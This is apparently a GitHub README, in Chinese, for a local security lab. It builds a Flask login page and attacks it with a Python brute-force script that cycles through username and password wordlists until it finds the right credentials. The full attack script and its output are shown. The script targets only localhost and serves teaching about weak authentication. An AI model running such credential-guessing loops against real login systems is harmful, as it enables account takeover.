MaliqueH5/flask-brute-force-lab

GitHub: MaliqueH5/flask-brute-force-lab

一个使用 Python Flask 和 Requests 构建的本地网络安全实验项目,用于演示暴力破解和撞库攻击的原理及身份验证漏洞。

Stars: 0 | Forks: 0

# 🔐 Python Flask 暴力破解实验 这是一个实操网络安全实验,我构建了一个本地的 Python Flask 登录页面,并使用自定义的暴力破解脚本对其进行攻击,以演示撞库攻击和身份验证漏洞。 ## 🎯 实验目标 使用 **Python Flask** 构建一个本地登录页面,然后使用 **Python 暴力破解脚本** 对其进行攻击,该脚本会遍历用户名列表和密码列表,直到找到正确的凭证。 ## 🛠️ 使用的工具 - **Terminal** (macOS) - **Visual Studio Code** - **Python 3** (通过 Homebrew 安装) - **Flask** 和 **Requests** (在虚拟环境中) **💰 成本:** 免费 — 无需订阅、无需付费平台、无需虚拟机 (VM)。 ## 📁 文件概览 | 文件 | 用途 | |-----------------|----------------------------------------------| | `flaskapp.py` | 目标 — 端口 34224 上的本地登录页面 | | `testpwlist.txt`| 密码字典 | | `usernames.txt` | 用户名列表 | | `attack.py` | 暴力破解攻击脚本 | 所有文件位于:`~/Desktop/flask-lab/` ## 📋 前置条件 - 带有 Terminal 的 macOS - 已安装 Python 3 - Visual Studio Code ## 🚀 设置与运行说明 ### 第 1 步 — 检查 Python 打开 **Terminal** 并运行: ``` python3 --version ``` 预期输出:`Python 3.x.x` ### 第 2 步 — 创建项目文件夹 在 **Terminal** 中运行: ``` mkdir ~/Desktop/flask-lab cd ~/Desktop/flask-lab ``` ### 第 3 步 — 设置虚拟环境 在 **Terminal** 中运行: ``` python3 -m venv ~/Desktop/flask-lab/venv source ~/Desktop/flask-lab/venv/bin/activate ``` 你的命令提示符现在应该会在开头显示 **`(venv)`**。 ### 第 4 步 — 安装 Flask 和 Requests 在 **Terminal** 中运行: ``` pip install flask requests ``` ### 第 5 步 — 打开 Visual Studio Code 1. 打开 **Visual Studio Code**: - 按 `Cmd + Space`,输入 `Visual Studio Code`,然后按 `Enter` - 或者点击 Dock 中的 VS Code 图标 2. 在 VS Code 中,转到 **File → Open Folder…** 3. 导航到: ~/Desktop/flask-lab/ 4. 点击 **Open** 你现在应该能在 VS Code 资源管理器(左侧面板)中看到 `flask-lab` 文件夹。 ### 第 6 步 — 在 VS Code 中创建 `flaskapp.py` 1. 在 VS Code 中,点击资源管理器中的 **New File**(或按 `Cmd + N`) 2. 将文件命名为:`flaskapp.py` 3. 粘贴以下代码: ``` from flask import Flask, request app = Flask(__name__) correct_username = "admin" correct_password = "hunter2" @app.route('/', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if username == correct_username and password == correct_password: return "Welcome!" else: return "Invalid credentials!" return '''
Username:
Password:
''' if __name__ == '__main__': app.run(port=34224) ``` 4. 保存:`Cmd + S` ### 第 7 步 — 在 VS Code 中创建 `testpwlist.txt` 1. 在 VS Code 中,点击 **New File** 2. 将文件命名为:`testpwlist.txt` 3. 粘贴这些密码(每行一个): ``` 123456 password letmein hunter2 qwerty ``` 4. 保存:`Cmd + S` ### 第 8 步 — 在 VS Code 中创建 `usernames.txt` 1. 在 VS Code 中,点击 **New File** 2. 将文件命名为:`usernames.txt` 3. 粘贴这些用户名(每行一个): ``` admin testuser guest ``` 4. 保存:`Cmd + S` ### 第 9 步 — 在 VS Code 中创建 `attack.py` 1. 在 VS Code 中,点击 **New File** 2. 将文件命名为:`attack.py` 3. 粘贴以下代码: ⚠️ **将 `/Users/your-username/` 替换为你实际的用户名**(例如,`/Users/malique/`): ``` import requests usernames = open('/Users/your-username/Desktop/flask-lab/usernames.txt', 'r') passwords = open('/Users/your-username/Desktop/flask-lab/testpwlist.txt', 'r') count = 1 for username in usernames: username = username.rstrip() passwords.seek(0) for password in passwords: password = password.rstrip() r = requests.post( 'http://localhost:34224/', data={'username': username, 'password': password} ) if 'Invalid credentials!' not in r.text: print(f'Found! Username: {username} | Password: {password}') exit() else: print(f'{count}. Incorrect — Username: {username} | Password: {password}') count += 1 ``` 4. 保存:`Cmd + S` ### 第 10 步 — 在 Terminal 中运行 Flask 服务器 1. 打开 **Terminal** 2. 运行: cd ~/Desktop/flask-lab source ~/Desktop/flask-lab/venv/bin/activate python3 ~/Desktop/flask-lab/flaskapp.py 3. 保持此 Terminal 窗口打开。服务器运行在: http://127.0.0.1:34224 ### 第 11 步 — 在第二个 Terminal 中运行攻击脚本 1. 打开 **第二个 Terminal 窗口**(`Cmd + N` 或 `Cmd + T`) 2. 运行: cd ~/Desktop/flask-lab source ~/Desktop/flask-lab/venv/bin/activate python3 ~/Desktop/flask-lab/attack.py ### ✅ 预期输出 ``` 1. Incorrect — Username: admin | Password: 123456 2. Incorrect — Username: admin | Password: password 3. Incorrect — Username: admin | Password: letmein Found! Username: admin | Password: hunter2 ``` ## 📸 截图 ### 登录页面(攻击前) Screenshot:login-page ### 正在进行的暴力破解攻击 Screenshot:attack-output ### 成功登录 Screenshot:welcome-message ## ⚙️ 工作原理 | 组件 | 作用 | |----------------------|------------------------------------------------------------------------------| | `flaskapp.py` | 对正确凭证返回 `"Welcome!"` 的登录页面 | | `attack.py` | 通过 POST 请求遍历用户名/密码组合 | | `rstrip()` | 移除换行符(对于匹配至关重要) | | `passwords.seek(0)` | 为每个新用户名将密码文件指针重置到开头 | 一旦找到正确的凭证,脚本就会立即停止。 ## 💡 关键要点 - ✅ 在**每个** Terminal 窗口中激活虚拟环境。 - ✅ 使用**两个 Terminal 窗口**:一个用于服务器,一个用于攻击。 - ✅ 所有文件均在 **VS Code** 中创建(第 5-9 步)。 - ✅ `rstrip()` 和 `passwords.seek(0)` 都至关重要。 - ✅ 完全在本地运行 — 无需付费平台或虚拟机 (VM)。 - ✅ 演示了真实暴力破解和撞库攻击中使用的相同逻辑。 ## 📂 文件夹结构 ``` ~/Desktop/flask-lab/ ├── flaskapp.py ← The target login server ├── testpwlist.txt ← Password wordlist ├── usernames.txt ← Username list ├── attack.py ← Brute-force attack script ├── venv/ ← Virtual environment └── screenshots/ ← Lab screenshots (optional) ``` ## 🔄 设置总结 | 步骤 | 工具 | 操作 | |------|---------------|-----------------------------------------------| | 1–4 | Terminal | 设置 Python、venv、Flask、Requests | | 5–9 | VS Code | 创建所有项目文件 | | 10 | Terminal 1 | 运行 Flask 服务器 (`flaskapp.py`) | | 11 | Terminal 2 | 运行暴力破解脚本 (`attack.py`) | ## 🎓 教育目的 本实验**仅用于教育目的**。它演示了暴力破解攻击的工作原理,以便你能更好地了解: - 🔒 身份验证漏洞是如何被利用的 - 🛡️ 为什么速率限制、账户锁定和 CAPTCHA 等防御机制很重要 - 🧪 如何安全地构建和测试你自己的身份验证系统 ## 👤 作者 **Malique Holley** IT 支持与网络安全爱好者 ## 📜 许可证 可免费用于**教育目的**。
标签:PoC, Python Flask, 凭证填充, 字符串匹配, 密码字典, 暴力破解, 网络安全实验, 身份认证漏洞, 逆向工具